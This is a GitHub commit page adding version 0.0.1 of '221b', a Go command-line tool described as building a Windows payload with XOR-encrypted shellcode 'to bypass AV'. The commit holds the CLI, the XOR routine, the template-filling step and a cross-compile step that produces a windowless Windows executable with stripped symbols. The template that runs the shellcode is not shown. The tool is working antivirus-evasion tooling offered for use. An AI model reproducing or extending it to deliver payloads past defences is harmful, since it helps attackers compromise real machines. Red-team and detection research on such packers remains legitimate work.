Skip to content

Commit 19c4411

Browse files
authored
feat: add project v0.0.1 (#1)
* feat: add project v0.0.1 Signed-off-by: Vasek - Tom C <[email protected]> * fix: project output path Signed-off-by: Vasek - Tom C <[email protected]> --------- Signed-off-by: Vasek - Tom C <[email protected]>
1 parent aa7fca7 commit 19c4411

File tree

14 files changed

+474
-1
lines changed

14 files changed

+474
-1
lines changed

.gitignore

+4
Original file line numberDiff line numberDiff line change
@@ -19,3 +19,7 @@
1919

2020
# Go workspace file
2121
go.work
22+
23+
221b
24+
25+
.idea

README.md

+47-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,47 @@
1-
# 221b
1+
# 221b
2+
3+
## Getting started
4+
5+
### 1. Compile binary
6+
7+
```shell
8+
go build -o 221b ./main.go
9+
```
10+
11+
### 2. Copy binary to path
12+
13+
```shell
14+
sudo mv 221b /usr/local/bin/
15+
```
16+
17+
### 3. Exec 221b
18+
19+
```shell
20+
221b bake -k <key> -s <shell>
21+
```
22+
23+
## Usage
24+
25+
```shell
26+
221b help bake
27+
Build a windows payload with the given shell encrypted in it to bypass AV
28+
29+
Usage:
30+
221b bake [flags]
31+
32+
Flags:
33+
-h, --help help for bake
34+
-k, --key string key to use for the xor
35+
-s, --shellpath string Path to the shell scrypt
36+
37+
Global Flags:
38+
--debug activate debug mode
39+
```
40+
41+
## Example
42+
43+
```shell
44+
221b bake -k shflfhje -s test.sh
45+
go: added golang.org/x/sys v0.10.0
46+
[+] file compiled to ./test.exe
47+
```

cli/bake.go

+68
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
package cli
2+
3+
import (
4+
"fmt"
5+
"github.com/spf13/cobra"
6+
"os"
7+
8+
"github.com/cmepw/221b/encryption"
9+
"github.com/cmepw/221b/loader"
10+
"github.com/cmepw/221b/logger"
11+
)
12+
13+
var (
14+
shellpath string
15+
key string
16+
)
17+
18+
var (
19+
ErrMissingShellpath = fmt.Errorf("missing shellpath argument")
20+
ErrMissingKey = fmt.Errorf("missing key argument")
21+
)
22+
23+
var bake = &cobra.Command{
24+
Use: "bake",
25+
Short: "Build a windows payload with the given shell encrypted in it to bypass AV",
26+
Run: func(cmd *cobra.Command, args []string) {
27+
if shellpath == "" {
28+
logger.Fatal(ErrMissingShellpath)
29+
}
30+
31+
if key == "" {
32+
logger.Fatal(ErrMissingKey)
33+
}
34+
35+
logger.Debug(fmt.Sprintf("baking %s with key %s", shellpath, key))
36+
37+
logger.Debug(fmt.Sprintf("reading %s", shellpath))
38+
file, err := os.ReadFile(shellpath)
39+
if err != nil {
40+
logger.Fatal(err)
41+
}
42+
43+
logger.Debug(fmt.Sprintf("encrypting %s", shellpath))
44+
encryptedShell := encryption.Xor.Encrypt(file, []byte(key))
45+
46+
logger.Debug(fmt.Sprintf("injecting encrypted shell into payload"))
47+
48+
xorLoader := loader.NewXorLoader([]byte(key))
49+
content, err := xorLoader.Load(encryptedShell)
50+
if err != nil {
51+
logger.Fatal(err)
52+
}
53+
54+
if logger.DebugMode {
55+
logger.Debug("content")
56+
fmt.Println(string(content))
57+
}
58+
59+
if err := xorLoader.Compile(shellpath, content); err != nil {
60+
logger.Fatal(err)
61+
}
62+
},
63+
}
64+
65+
func init() {
66+
bake.Flags().StringVarP(&shellpath, "shellpath", "s", "", "Path to the shell scrypt")
67+
bake.Flags().StringVarP(&key, "key", "k", "", "key to use for the xor")
68+
}

cli/cli.go

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package cli
2+
3+
import (
4+
"github.com/spf13/cobra"
5+
6+
"github.com/cmepw/221b/logger"
7+
)
8+
9+
var debug bool
10+
11+
var rootCmd = &cobra.Command{
12+
Version: "v0.0.1",
13+
Use: "221b",
14+
PersistentPreRun: func(_ *cobra.Command, _ []string) {
15+
logger.DebugMode = debug
16+
},
17+
}
18+
19+
func Execute() error {
20+
return rootCmd.Execute()
21+
}
22+
23+
func init() {
24+
rootCmd.PersistentFlags().BoolVar(&debug, "debug", false, "activate debug mode")
25+
26+
rootCmd.AddCommand(bake)
27+
}

encryption/encryption.go

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
package encryption
2+
3+
type Encryption interface {
4+
Decrypt(content, key []byte) []byte
5+
Encrypt(content, key []byte) []byte
6+
}

encryption/xor.go

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package encryption
2+
3+
var Xor = xor{}
4+
5+
type xor struct{}
6+
7+
func (x xor) Decrypt(content, key []byte) []byte {
8+
keyLen := len(key)
9+
10+
for i := 0; i < len(content); i++ {
11+
content[i] ^= key[i%keyLen]
12+
}
13+
return content
14+
}
15+
16+
func (x xor) Encrypt(content, key []byte) []byte {
17+
keyLen := len(key)
18+
19+
for i := 0; i < len(content); i++ {
20+
content[i] ^= key[i%keyLen]
21+
}
22+
return content
23+
}

go.mod

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
module github.com/cmepw/221b
2+
3+
go 1.20
4+
5+
require github.com/spf13/cobra v1.7.0
6+
7+
require (
8+
github.com/inconshreveable/mousetrap v1.1.0 // indirect
9+
github.com/spf13/pflag v1.0.5 // indirect
10+
)

go.sum

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
2+
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
3+
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
4+
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
5+
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
6+
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
7+
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
8+
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
9+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
10+
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

loader/loader.go

+87
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
package loader
2+
3+
import (
4+
"fmt"
5+
"os"
6+
"os/exec"
7+
"path/filepath"
8+
"strings"
9+
10+
"github.com/cmepw/221b/logger"
11+
"github.com/cmepw/221b/templates"
12+
)
13+
14+
type Loader interface {
15+
Load(content []byte) ([]byte, error)
16+
Compile(path string, content []byte) error
17+
}
18+
19+
type baseLoader struct{}
20+
21+
const (
22+
windowsExt = ".exe"
23+
tmpFile = "tmp.go"
24+
)
25+
26+
func (b baseLoader) Compile(path string, content []byte) error {
27+
outputPath := strings.TrimSuffix(filepath.Base(path), filepath.Ext(path)) + windowsExt
28+
29+
dir := "/tmp/test"
30+
if err := os.MkdirAll(dir, 0750); err != nil {
31+
logger.Error(fmt.Errorf("could not create temporary directory"))
32+
return err
33+
}
34+
35+
defer func() {
36+
_ = os.RemoveAll(dir)
37+
}()
38+
39+
// Set environment
40+
logger.Debug("write content to temporary file")
41+
if err := os.WriteFile(filepath.Join(dir, tmpFile), content, 0666); err != nil {
42+
logger.Error(fmt.Errorf("could not write tmp file"))
43+
return err
44+
}
45+
46+
if err := os.WriteFile(filepath.Join(dir, "go.mod"), []byte(templates.GoMod), 0666); err != nil {
47+
logger.Error(fmt.Errorf("could not write tmp go.mod file"))
48+
return err
49+
}
50+
51+
initCmd := exec.Command("go", "get", "-u", "golang.org/x/sys/windows")
52+
initCmd.Dir = dir
53+
initCmd.Stderr = os.Stderr
54+
initCmd.Env = append(os.Environ(), "GOOS=windows", "GOARCH=amd64")
55+
if err := initCmd.Run(); err != nil {
56+
logger.Error(fmt.Errorf("could not install dependency"))
57+
return err
58+
}
59+
60+
logger.Debug("dependency installed")
61+
62+
pwd, err := os.Getwd()
63+
if err != nil {
64+
return err
65+
}
66+
67+
buildCmd := exec.Command(
68+
"go",
69+
"build",
70+
"-ldflags",
71+
"-s -w -H=windowsgui",
72+
"-o",
73+
filepath.Join(pwd, outputPath),
74+
filepath.Join(dir, tmpFile),
75+
)
76+
buildCmd.Env = append(os.Environ(), "GOOS=windows", "GOARCH=amd64")
77+
buildCmd.Stderr = os.Stderr
78+
buildCmd.Dir = dir
79+
80+
if err := buildCmd.Run(); err != nil {
81+
logger.Error(fmt.Errorf("failed to compile"))
82+
return err
83+
}
84+
85+
logger.Info(fmt.Sprintf("file compiled to %s", filepath.Join(pwd, outputPath)))
86+
return nil
87+
}

loader/xor.go

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package loader
2+
3+
import (
4+
"bytes"
5+
"fmt"
6+
"strings"
7+
"text/template"
8+
9+
"github.com/cmepw/221b/templates"
10+
)
11+
12+
type Xor struct {
13+
key []byte
14+
baseLoader
15+
}
16+
17+
func NewXorLoader(key []byte) *Xor {
18+
return &Xor{key: key}
19+
}
20+
21+
func (x Xor) Load(content []byte) ([]byte, error) {
22+
tmpl, err := template.New("loader").Funcs(template.FuncMap{
23+
"key": func() string {
24+
return string(x.key)
25+
},
26+
"shellcode": func() string {
27+
result := []string{}
28+
29+
for _, b := range content {
30+
result = append(result, fmt.Sprintf("0x%02x", b))
31+
}
32+
33+
return strings.Join(result, ", ") + ","
34+
},
35+
}).Parse(templates.XorTmpl)
36+
if err != nil {
37+
return nil, err
38+
}
39+
40+
result := new(bytes.Buffer)
41+
err = tmpl.Execute(result, nil)
42+
43+
return result.Bytes(), err
44+
}

logger/logger.go

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package logger
2+
3+
import (
4+
"fmt"
5+
"os"
6+
)
7+
8+
var DebugMode = false
9+
10+
func Debug(msg string) {
11+
if DebugMode {
12+
fmt.Printf("[*] %s\n", msg)
13+
}
14+
}
15+
16+
func Info(msg string) {
17+
fmt.Printf("[+] %s\n", msg)
18+
}
19+
20+
func Warn(msg string) {
21+
fmt.Printf("[^] %s\n", msg)
22+
}
23+
24+
func Error(err error) {
25+
fmt.Printf("[!] %v\n", err)
26+
}
27+
28+
func Fatal(err error) {
29+
Error(err)
30+
os.Exit(1)
31+
}

main.go

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package main
2+
3+
import (
4+
"log"
5+
6+
"github.com/cmepw/221b/cli"
7+
)
8+
9+
func main() {
10+
if err := cli.Execute(); err != nil {
11+
log.Fatal(err)
12+
}
13+
}

templates/goMod.go

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
package templates
2+
3+
var GoMod = `
4+
module github.com/cmepw/221b-context
5+
6+
go 1.20
7+
`

0 commit comments

Comments
 (0)